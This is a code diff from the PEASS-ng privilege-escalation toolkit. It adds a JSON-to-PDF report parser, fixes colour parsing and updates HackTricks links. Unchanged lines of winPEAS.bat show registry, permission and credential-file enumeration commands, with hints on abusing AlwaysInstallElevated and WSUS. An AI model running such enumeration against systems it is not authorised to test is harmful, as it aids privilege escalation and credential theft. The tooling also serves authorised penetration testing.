"infos": [
|
"infos": [
|
||||||
"https://book.hacktricks.xyz/linux-unix/privilege-escalation#kernel-exploits"
|
"https://book.hacktricks.xyz/linux-hardening/privilege-escalation#kernel-exploits"
|
||||||
]
|
]
|
||||||
},
|
},
|
||||||
"infos": []
|
"infos": []
|
||||||
@@ -73,6 +74,8 @@ There is a **maximun of 3 levels of sections**.
|
|||||||
|
|
||||||
There can also be a `<Third level Section Name>`
|
There can also be a `<Third level Section Name>`
|
||||||
|
|
||||||
|
If you need to transform several outputs check out https://github.com/mnemonic-re/parsePEASS
|
||||||
|
|
||||||
# TODO:
|
# TODO:
|
||||||
|
|
||||||
I'm looking for **someone that could create HTML and PDF reports** from this JSON.
|
- **PRs improving the code and the aspect of the final PDFs and HTMLs are always welcome!**
|
||||||
347
parsers/json2html.py
Normal file
347
parsers/json2html.py
Normal file
File diff suppressed because one or more lines are too long
162
parsers/json2pdf.py
Executable file
162
parsers/json2pdf.py
Executable file
@@ -0,0 +1,162 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
import sys
|
||||||
|
import json
|
||||||
|
import html
|
||||||
|
from reportlab.lib.pagesizes import letter
|
||||||
|
from reportlab.platypus import Frame, Paragraph, Spacer, PageBreak,PageTemplate, BaseDocTemplate
|
||||||
|
from reportlab.platypus.tableofcontents import TableOfContents
|
||||||
|
from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
|
||||||
|
from reportlab.lib.units import cm
|
||||||
|
|
||||||
|
styles = getSampleStyleSheet()
|
||||||
|
text_colors = { "GREEN": "#00DB00", "RED": "#FF0000", "REDYELLOW": "#FFA500", "BLUE": "#0000FF",
|
||||||
|
"DARKGREY": "#5C5C5C", "YELLOW": "#ebeb21", "MAGENTA": "#FF00FF", "CYAN": "#00FFFF", "LIGHT_GREY": "#A6A6A6"}
|
||||||
|
|
||||||
|
# Required to automatically set Page Numbers
|
||||||
|
class PageTemplateWithCount(PageTemplate):
|
||||||
|
def __init__(self, id, frames, **kw):
|
||||||
|
PageTemplate.__init__(self, id, frames, **kw)
|
||||||
|
|
||||||
|
def beforeDrawPage(self, canvas, doc):
|
||||||
|
page_num = canvas.getPageNumber()
|
||||||
|
canvas.drawRightString(10.5*cm, 1*cm, str(page_num))
|
||||||
|
|
||||||
|
# Required to automatically set the Table of Contents
|
||||||
|
class MyDocTemplate(BaseDocTemplate):
|
||||||
|
def __init__(self, filename, **kw):
|
||||||
|
self.allowSplitting = 0
|
||||||
|
BaseDocTemplate.__init__(self, filename, **kw)
|
||||||
|
template = PageTemplateWithCount("normal", [Frame(2.5*cm, 2.5*cm, 15*cm, 25*cm, id='F1')])
|
||||||
|
self.addPageTemplates(template)
|
||||||
|
|
||||||
|
def afterFlowable(self, flowable):
|
||||||
|
if flowable.__class__.__name__ == "Paragraph":
|
||||||
|
text = flowable.getPlainText()
|
||||||
|
style = flowable.style.name
|
||||||
|
if style == "Heading1":
|
||||||
|
self.notify("TOCEntry", (0, text, self.page))
|
||||||
|
if style == "Heading2":
|
||||||
|
self.notify("TOCEntry", (1, text, self.page))
|
||||||
|
if style == "Heading3":
|
||||||
|
self.notify("TOCEntry", (2, text, self.page))
|
||||||
|
|
||||||
|
|
||||||
|
# Poor take at dynamicly generating styles depending on depth(?)
|
||||||
|
def get_level_styles(level):
|
||||||
|
global styles
|
||||||
|
indent_value = 10 * (level - 1);
|
||||||
|
# Overriding some default stylings
|
||||||
|
level_styles = {
|
||||||
|
"title": ParagraphStyle(
|
||||||
|
**dict(styles[f"Heading{level}"].__dict__,
|
||||||
|
**{ "leftIndent": indent_value })),
|
||||||
|
"text": ParagraphStyle(
|
||||||
|
**dict(styles["Code"].__dict__,
|
||||||
|
**{ "backColor": "#F0F0F0",
|
||||||
|
"borderPadding": 5, "borderWidth": 1,
|
||||||
|
"borderColor": "black", "borderRadius": 5,
|
||||||
|
"leftIndent": 5 + indent_value})),
|
||||||
|
"info": ParagraphStyle(
|
||||||
|
**dict(styles["Italic"].__dict__,
|
||||||
|
**{ "leftIndent": indent_value })),
|
||||||
|
}
|
||||||
|
return level_styles
|
||||||
|
|
||||||
|
def get_colors_by_text(colors):
|
||||||
|
new_colors = {}
|
||||||
|
for (color, words) in colors.items():
|
||||||
|
for word in words:
|
||||||
|
new_colors[html.escape(word)] = color
|
||||||
|
return new_colors
|
||||||
|
|
||||||
|
def build_main_section(section, title, level=1):
|
||||||
|
styles = get_level_styles(level)
|
||||||
|
has_links = "infos" in section.keys() and len(section["infos"]) > 0
|
||||||
|
has_lines = "lines" in section.keys() and len(section["lines"]) > 1
|
||||||
|
has_children = "sections" in section.keys() and len(section["sections"].keys()) > 0
|
||||||
|
|
||||||
|
# Only display data for Sections with results
|
||||||
|
show_section = has_lines or has_children
|
||||||
|
|
||||||
|
elements = []
|
||||||
|
|
||||||
|
if show_section:
|
||||||
|
elements.append(Paragraph(title, style=styles["title"]))
|
||||||
|
|
||||||
|
# Print info if any
|
||||||
|
if show_section and has_links:
|
||||||
|
for info in section["infos"]:
|
||||||
|
words = info.split()
|
||||||
|
# Join all lines and encode any links that might be present.
|
||||||
|
words = map(lambda word: f'<a href="{word}" color="blue">{word}</a>' if "http" in word else word, words)
|
||||||
|
words = " ".join(words)
|
||||||
|
elements.append(Paragraph(words, style=styles["info"] ))
|
||||||
|
|
||||||
|
# Print lines if any
|
||||||
|
if "lines" in section.keys() and len(section["lines"]) > 1:
|
||||||
|
colors_by_line = list(map(lambda x: x["colors"], section["lines"]))
|
||||||
|
lines = list(map(lambda x: html.escape(x["clean_text"]), section["lines"]))
|
||||||
|
for (idx, line) in enumerate(lines):
|
||||||
|
colors = colors_by_line[idx]
|
||||||
|
colored_text = get_colors_by_text(colors)
|
||||||
|
colored_line = line
|
||||||
|
for (text, color) in colored_text.items():
|
||||||
|
if color == "REDYELLOW":
|
||||||
|
colored_line = colored_line.replace(text, f'<font color="{text_colors[color]}"><b>{text}</b></font>')
|
||||||
|
else:
|
||||||
|
colored_line = colored_line.replace(text, f'<font color="{text_colors[color]}">{text}</font>')
|
||||||
|
lines[idx] = colored_line
|
||||||
|
elements.append(Spacer(0, 10))
|
||||||
|
line = "<br/>".join(lines)
|
||||||
|
|
||||||
|
# If it's a top level entry remove the line break caused by an empty "clean_text"
|
||||||
|
if level == 1: line = line[5:]
|
||||||
|
elements.append(Paragraph(line, style=styles["text"]))
|
||||||
|
|
||||||
|
|
||||||
|
# Print child sections
|
||||||
|
if has_children:
|
||||||
|
for child_title in section["sections"].keys():
|
||||||
|
element_list = build_main_section(section["sections"][child_title], child_title, level + 1)
|
||||||
|
elements.extend(element_list)
|
||||||
|
|
||||||
|
# Add spacing at the end of section. The deeper the level the smaller the spacing.
|
||||||
|
if show_section:
|
||||||
|
elements.append(Spacer(1, 40 - (10 * level)))
|
||||||
|
|
||||||
|
return elements
|
||||||
|
|
||||||
|
|
||||||
|
def main():
|
||||||
|
with open(JSON_PATH) as file:
|
||||||
|
# Read and parse JSON file
|
||||||
|
data = json.loads(file.read())
|
||||||
|
|
||||||
|
# Default pdf values
|
||||||
|
doc = MyDocTemplate(PDF_PATH)
|
||||||
|
toc = TableOfContents()
|
||||||
|
toc.levelStyles = [
|
||||||
|
ParagraphStyle(name = "Heading1", fontSize = 14, leading=16),
|
||||||
|
ParagraphStyle(name = "Heading2", fontSize = 12, leading=14, leftIndent = 10),
|
||||||
|
ParagraphStyle(name = "Heading3", fontSize = 10, leading=12, leftIndent = 20),
|
||||||
|
]
|
||||||
|
|
||||||
|
elements = [Paragraph("PEAS Report", style=styles["Title"]), Spacer(0, 30), toc, PageBreak()]
|
||||||
|
|
||||||
|
# Iterate over all top level sections and build their elements.
|
||||||
|
for title in data.keys():
|
||||||
|
element_list = build_main_section(data[title], title)
|
||||||
|
elements.extend(element_list)
|
||||||
|
|
||||||
|
doc.multiBuild(elements)
|
||||||
|
|
||||||
|
# Start execution
|
||||||
|
if __name__ == "__main__":
|
||||||
|
try:
|
||||||
|
JSON_PATH = sys.argv[1]
|
||||||
|
PDF_PATH = sys.argv[2]
|
||||||
|
except IndexError as err:
|
||||||
|
print("Error: Please pass the peas.json file and the path to save the pdf\njson2pdf.py <json_file> <pdf_file.pdf>")
|
||||||
|
sys.exit(1)
|
||||||
|
|
||||||
|
main()
|
||||||
@@ -5,7 +5,7 @@ import re
|
|||||||
import json
|
import json
|
||||||
|
|
||||||
# Pattern to identify main section titles
|
# Pattern to identify main section titles
|
||||||
TITLE1_PATTERN = r"════════════════════════════════════╣"
|
TITLE1_PATTERN = r"══════════════╣" # The size of the first pattern varies, but at least should be that large
|
||||||
TITLE2_PATTERN = r"╔══════════╣"
|
TITLE2_PATTERN = r"╔══════════╣"
|
||||||
TITLE3_PATTERN = r"══╣"
|
TITLE3_PATTERN = r"══╣"
|
||||||
INFO_PATTERN = r"╚ "
|
INFO_PATTERN = r"╚ "
|
||||||
@@ -14,15 +14,15 @@ TITLE_CHARS = ['═', '╔', '╣', '╚']
|
|||||||
# Patterns for colors
|
# Patterns for colors
|
||||||
## The order is important, the first string colored with a color will be the one selected (the same string cannot be colored with different colors)
|
## The order is important, the first string colored with a color will be the one selected (the same string cannot be colored with different colors)
|
||||||
COLORS = {
|
COLORS = {
|
||||||
"REDYELLOW": [r"\x1b\[1;31;103m"],
|
"REDYELLOW": ['\x1b[1;31;103m'],
|
||||||
"RED": [r"\x1b\[1;31m"],
|
"RED": ['\x1b[1;31m'],
|
||||||
"GREEN": [r"\x1b\[1;32m"],
|
"GREEN": ['\x1b[1;32m'],
|
||||||
"YELLOW": [r"\x1b\[1;33m"],
|
"YELLOW": ['\x1b[1;33m'],
|
||||||
"BLUE": [r"\x1b\[1;34m"],
|
"BLUE": ['\x1b[1;34m'],
|
||||||
"MAGENTA": [r"\x1b\[1;95m", r"\x1b\[1;35m"],
|
"MAGENTA": ['\x1b[1;95m', '\x1b[1;35m'],
|
||||||
"CYAN": [r"\x1b\[1;36m", r"\x1b\[1;96m"],
|
"CYAN": ['\x1b[1;36m', '\x1b[1;96m'],
|
||||||
"LIGHT_GREY": [r"\x1b\[1;37m"],
|
"LIGHT_GREY": ['\x1b[1;37m'],
|
||||||
"DARKGREY": [r"\x1b\[1;90m"],
|
"DARKGREY": ['\x1b[1;90m'],
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
@@ -52,11 +52,23 @@ def get_colors(line: str) -> dict:
|
|||||||
for c,regexs in COLORS.items():
|
for c,regexs in COLORS.items():
|
||||||
colors[c] = []
|
colors[c] = []
|
||||||
for reg in regexs:
|
for reg in regexs:
|
||||||
for re_found in re.findall(reg+"(.+?)\x1b|$", line):
|
split_color = line.split(reg)
|
||||||
re_found = clean_colors(re_found.strip())
|
|
||||||
#Avoid having the same color for the same string
|
# Start from the index 1 as the index 0 isn't colored
|
||||||
if re_found and not any(re_found in values for values in colors.values()):
|
if split_color and len(split_color) > 1:
|
||||||
colors[c].append(re_found)
|
split_color = split_color[1:]
|
||||||
|
|
||||||
|
# For each potential color, find the string before any possible color terminatio
|
||||||
|
for potential_color_str in split_color:
|
||||||
|
color_str1 = potential_color_str.split('\x1b')[0]
|
||||||
|
color_str2 = potential_color_str.split("\[0")[0]
|
||||||
|
color_str = color_str1 if len(color_str1) < len(color_str2) else color_str2
|
||||||
|
|
||||||
|
if color_str:
|
||||||
|
color_str = clean_colors(color_str.strip())
|
||||||
|
#Avoid having the same color for the same string
|
||||||
|
if color_str and not any(color_str in values for values in colors.values()):
|
||||||
|
colors[c].append(color_str)
|
||||||
|
|
||||||
if not colors[c]:
|
if not colors[c]:
|
||||||
del colors[c]
|
del colors[c]
|
||||||
@@ -75,10 +87,10 @@ def clean_title(line: str) -> str:
|
|||||||
def clean_colors(line: str) -> str:
|
def clean_colors(line: str) -> str:
|
||||||
"""Given a line clean the colors inside of it"""
|
"""Given a line clean the colors inside of it"""
|
||||||
|
|
||||||
for reg in re.findall(r'\x1b[^ ]+\dm', line):
|
for reg in re.findall(r'\x1b\[[^a-zA-Z]+\dm', line):
|
||||||
line = line.replace(reg,"")
|
line = line.replace(reg,"")
|
||||||
|
|
||||||
line = line.replace('\x1b',"") #Sometimes that byte stays
|
line = line.replace('\x1b',"").replace("[0m", "").replace("[3m", "") #Sometimes that byte stays
|
||||||
line = line.strip()
|
line = line.strip()
|
||||||
return line
|
return line
|
||||||
|
|
||||||
@@ -94,6 +106,9 @@ def parse_line(line: str):
|
|||||||
|
|
||||||
global FINAL_JSON, C_SECTION, C_MAIN_SECTION, C_2_SECTION, C_3_SECTION
|
global FINAL_JSON, C_SECTION, C_MAIN_SECTION, C_2_SECTION, C_3_SECTION
|
||||||
|
|
||||||
|
if "Cron jobs" in line:
|
||||||
|
a=1
|
||||||
|
|
||||||
if is_section(line, TITLE1_PATTERN):
|
if is_section(line, TITLE1_PATTERN):
|
||||||
title = parse_title(line)
|
title = parse_title(line)
|
||||||
FINAL_JSON[title] = { "sections": {}, "lines": [], "infos": [] }
|
FINAL_JSON[title] = { "sections": {}, "lines": [], "infos": [] }
|
||||||
@@ -124,13 +139,13 @@ def parse_line(line: str):
|
|||||||
|
|
||||||
C_SECTION["lines"].append({
|
C_SECTION["lines"].append({
|
||||||
"raw_text": line,
|
"raw_text": line,
|
||||||
"clean_text": clean_colors(line),
|
"colors": get_colors(line),
|
||||||
"colors": get_colors(line)
|
"clean_text": clean_title(clean_colors(line))
|
||||||
})
|
})
|
||||||
|
|
||||||
|
|
||||||
def main():
|
def main():
|
||||||
for line in open(OUTPUT_PATH, 'r').readlines():
|
for line in open(OUTPUT_PATH, 'r', encoding="utf8").readlines():
|
||||||
line = line.strip()
|
line = line.strip()
|
||||||
if not line or not clean_colors(line): #Remove empty lines or lines just with colors hex
|
if not line or not clean_colors(line): #Remove empty lines or lines just with colors hex
|
||||||
continue
|
continue
|
||||||
@@ -147,7 +162,7 @@ if __name__ == "__main__":
|
|||||||
OUTPUT_PATH = sys.argv[1]
|
OUTPUT_PATH = sys.argv[1]
|
||||||
JSON_PATH = sys.argv[2]
|
JSON_PATH = sys.argv[2]
|
||||||
except IndexError as err:
|
except IndexError as err:
|
||||||
print("Error: Please pass the peas.out file and the path to save the json\n./peas-parser.py <output_file> <json_file.json>")
|
print("Error: Please pass the peas.out file and the path to save the json\npeas2json.py <output_file> <json_file.json>")
|
||||||
sys.exit(1)
|
sys.exit(1)
|
||||||
|
|
||||||
main()
|
main()
|
||||||
@@ -2,12 +2,12 @@
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)**
|
Check the **Local Windows Privilege Escalation checklist** from **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)**
|
||||||
|
|
||||||
Check more **information about how to exploit** found misconfigurations in **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)**
|
Check more **information about how to exploit** found misconfigurations in **[book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
|
||||||
|
|
||||||
## Quick Start
|
## Quick Start
|
||||||
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/tag/refs%2Fheads%2Fmaster)**.
|
Find the **latest versions of all the scripts and binaries in [the releases page](https://github.com/carlospolop/PEASS-ng/releases/latest)**.
|
||||||
|
|
||||||
## WinPEAS .exe and .bat
|
## WinPEAS .exe and .bat
|
||||||
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat)
|
- [Link to WinPEAS .bat project](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS/winPEASbat)
|
||||||
@@ -26,8 +26,4 @@ Are you a PEASS fan? Get now our merch at **[PEASS Shop](https://teespring.com/s
|
|||||||
|
|
||||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||||
|
|
||||||
## License
|
|
||||||
|
|
||||||
MIT License
|
|
||||||
|
|
||||||
By Polop<sup>(TM)</sup>
|
By Polop<sup>(TM)</sup>
|
||||||
|
|||||||
@@ -2,9 +2,9 @@
|
|||||||
|
|
||||||

|

|
||||||
|
|
||||||
**WinPEAS is a script that searh for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/windows-local-privilege-escalation)**
|
**WinPEAS is a script that searh for possible paths to escalate privileges on Windows hosts. The checks are explained on [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation)**
|
||||||
|
|
||||||
Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows/checklist-windows-privilege-escalation)
|
Check also the **Local Windows Privilege Escalation checklist** from [book.hacktricks.xyz](https://book.hacktricks.xyz/windows-hardening/checklist-windows-privilege-escalation)
|
||||||
|
|
||||||
### WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required)
|
### WinPEAS.bat is a batch script made for Windows systems which don't support WinPEAS.exe (Net.4 required)
|
||||||
|
|
||||||
@@ -137,8 +137,5 @@ This is the kind of outpuf that you have to look for when usnig the winPEAS.bat
|
|||||||
|
|
||||||
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
All the scripts/binaries of the PEAS Suite should be used for authorized penetration testing and/or educational purposes only. Any misuse of this software will not be the responsibility of the author or of any other collaborator. Use it at your own networks and/or with the network owner's permission.
|
||||||
|
|
||||||
## License
|
|
||||||
|
|
||||||
MIT License
|
|
||||||
|
|
||||||
By Polop<sup>(TM)</sup>
|
By Polop<sup>(TM)</sup>
|
||||||
|
|||||||
@@ -55,7 +55,7 @@ ECHO.
|
|||||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO
|
CALL :ColorLine "%E%32m[*]%E%97m BASIC SYSTEM INFO
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
|
CALL :ColorLine " %E%33m[+]%E%97m WINDOWS OS"
|
||||||
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
|
ECHO. [i] Check for vulnerabilities for the OS version with the applied patches
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#kernel-exploits
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#kernel-exploits
|
||||||
systeminfo
|
systeminfo
|
||||||
ECHO.
|
ECHO.
|
||||||
CALL :T_Progress 2
|
CALL :T_Progress 2
|
||||||
@@ -174,7 +174,7 @@ CALL :T_Progress 1
|
|||||||
:UACSettings
|
:UACSettings
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
|
CALL :ColorLine " %E%33m[+]%E%97m UAC Settings"
|
||||||
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
|
ECHO. [i] If the results read ENABLELUA REG_DWORD 0x1, part or all of the UAC components are on
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#basic-uac-bypass-full-file-system-access
|
||||||
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
|
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA 2>nul
|
||||||
ECHO.
|
ECHO.
|
||||||
CALL :T_Progress 1
|
CALL :T_Progress 1
|
||||||
@@ -225,7 +225,7 @@ CALL :T_Progress 1
|
|||||||
:InstalledSoftware
|
:InstalledSoftware
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
|
CALL :ColorLine " %E%33m[+]%E%97m INSTALLED SOFTWARE"
|
||||||
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
|
ECHO. [i] Some weird software? Check for vulnerabilities in unknow software installed
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#software
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#software
|
||||||
ECHO.
|
ECHO.
|
||||||
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
|
dir /b "C:\Program Files" "C:\Program Files (x86)" | sort
|
||||||
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
|
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall /s | findstr InstallLocation | findstr ":\\"
|
||||||
@@ -236,15 +236,15 @@ CALL :T_Progress 2
|
|||||||
|
|
||||||
:RemodeDeskCredMgr
|
:RemodeDeskCredMgr
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
|
CALL :ColorLine " %E%33m[+]%E%97m Remote Desktop Credentials Manager"
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#remote-desktop-credential-manager
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#remote-desktop-credential-manager
|
||||||
IF exist "%AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
|
IF exist "%LOCALAPPDATA%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings" ECHO.Found: RDCMan.settings in %AppLocal%\Local\Microsoft\Remote Desktop Connection Manager\RDCMan.settings, check for credentials in .rdg files
|
||||||
ECHO.
|
ECHO.
|
||||||
CALL :T_Progress 1
|
CALL :T_Progress 1
|
||||||
|
|
||||||
:WSUS
|
:WSUS
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m WSUS"
|
CALL :ColorLine " %E%33m[+]%E%97m WSUS"
|
||||||
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
|
ECHO. [i] You can inject 'fake' updates into non-SSL WSUS traffic (WSUXploit)
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#wsus
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#wsus
|
||||||
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
|
reg query HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WindowsUpdate\ 2>nul | findstr /i "wuserver" | findstr /i "http://"
|
||||||
ECHO.
|
ECHO.
|
||||||
CALL :T_Progress 1
|
CALL :T_Progress 1
|
||||||
@@ -252,7 +252,7 @@ CALL :T_Progress 1
|
|||||||
:RunningProcesses
|
:RunningProcesses
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
|
CALL :ColorLine " %E%33m[+]%E%97m RUNNING PROCESSES"
|
||||||
ECHO. [i] Something unexpected is running? Check for vulnerabilities
|
ECHO. [i] Something unexpected is running? Check for vulnerabilities
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#running-processes
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#running-processes
|
||||||
tasklist /SVC
|
tasklist /SVC
|
||||||
ECHO.
|
ECHO.
|
||||||
CALL :T_Progress 2
|
CALL :T_Progress 2
|
||||||
@@ -273,7 +273,7 @@ CALL :T_Progress 3
|
|||||||
:RunAtStartup
|
:RunAtStartup
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
|
CALL :ColorLine " %E%33m[+]%E%97m RUN AT STARTUP"
|
||||||
ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
|
ECHO. [i] Check if you can modify any binary that is going to be executed by admin or if you can impersonate a not found binary
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#run-at-startup
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#run-at-startup
|
||||||
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
|
::(autorunsc.exe -m -nobanner -a * -ct /accepteula 2>nul || wmic startup get caption,command 2>nul | more & ^
|
||||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run 2>nul & ^
|
||||||
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce 2>nul & ^
|
||||||
@@ -297,7 +297,7 @@ CALL :T_Progress 2
|
|||||||
:AlwaysInstallElevated
|
:AlwaysInstallElevated
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
|
CALL :ColorLine " %E%33m[+]%E%97m AlwaysInstallElevated?"
|
||||||
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
|
ECHO. [i] If '1' then you can install a .msi file with admin privileges ;)
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#alwaysinstallelevated
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated
|
||||||
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||||
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 2> nul
|
||||||
ECHO.
|
ECHO.
|
||||||
@@ -361,7 +361,7 @@ CALL :T_Progress 1
|
|||||||
:BasicUserInfo
|
:BasicUserInfo
|
||||||
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
|
CALL :ColorLine "%E%32m[*]%E%97m BASIC USER INFO
|
||||||
ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
|
ECHO. [i] Check if you are inside the Administrators group or if you have enabled any token that can be use to escalate privileges like SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebbugPrivilege
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#users-and-groups
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#users-and-groups
|
||||||
ECHO.
|
ECHO.
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
|
CALL :ColorLine " %E%33m[+]%E%97m CURRENT USER"
|
||||||
net user %username%
|
net user %username%
|
||||||
@@ -435,7 +435,7 @@ ECHO.
|
|||||||
|
|
||||||
:ServiceBinaryPermissions
|
:ServiceBinaryPermissions
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
|
CALL :ColorLine " %E%33m[+]%E%97m SERVICE BINARY PERMISSIONS WITH WMIC and ICACLS"
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||||
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
|
for /f "tokens=2 delims='='" %%a in ('cmd.exe /c wmic service list full ^| findstr /i "pathname" ^|findstr /i /v "system32"') do (
|
||||||
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
|
for /f eol^=^"^ delims^=^" %%b in ("%%a") do icacls "%%b" 2>nul | findstr /i "(F) (M) (W) :\\" | findstr /i ":\\ everyone authenticated users todos usuarios %username%" && ECHO.
|
||||||
)
|
)
|
||||||
@@ -444,7 +444,7 @@ CALL :T_Progress 1
|
|||||||
|
|
||||||
:CheckRegistryModificationAbilities
|
:CheckRegistryModificationAbilities
|
||||||
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
|
CALL :ColorLine " %E%33m[+]%E%97m CHECK IF YOU CAN MODIFY ANY SERVICE REGISTRY"
|
||||||
ECHO. [?] https://book.hacktricks.xyz/windows/windows-local-privilege-escalation#services
|
ECHO. [?] https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#services
|
||||||
